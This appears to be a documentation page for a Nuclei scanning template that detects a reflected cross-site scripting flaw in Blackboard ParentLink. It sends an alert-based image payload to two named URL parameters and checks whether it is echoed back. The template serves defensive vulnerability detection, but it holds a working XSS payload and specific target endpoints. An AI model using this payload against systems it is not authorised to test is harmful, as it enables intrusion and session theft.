Blackboard - Cross-Site Scripting
ID: parentlink-xss
Severity: high
Author: r3naissance
Tags: blackboard,parentlink,xss
Description
Section titled “Description”Blackboard contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
YAML Source
Section titled “YAML Source”id: parentlink-xss
info: name: Blackboard - Cross-Site Scripting author: r3naissance severity: high description: Blackboard contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://help.blackboard.com/Community_Engagement/Administrator/Release_Notes classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 metadata: max-request: 2 tags: blackboard,parentlink,xss
http: - method: GET path: - '{{BaseURL}}/main/blank?message_success=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E' - '{{BaseURL}}/main/blank?message_error=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E'
matchers-condition: and matchers: - type: word words: - '<img src=c onerror=alert(8675309)>' part: body
- type: word words: - "text/html" part: header
- type: status status: - 200# digest: 4a0a00473045022036f0211dbd81e940cc14a52c3ca0b723432d6700ea46602d7ff72e030bef5f3b022100fc6a814cb420bd768dac6f6937b65746e239bebc1922a65691626efee4017587:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/parentlink-xss.yaml"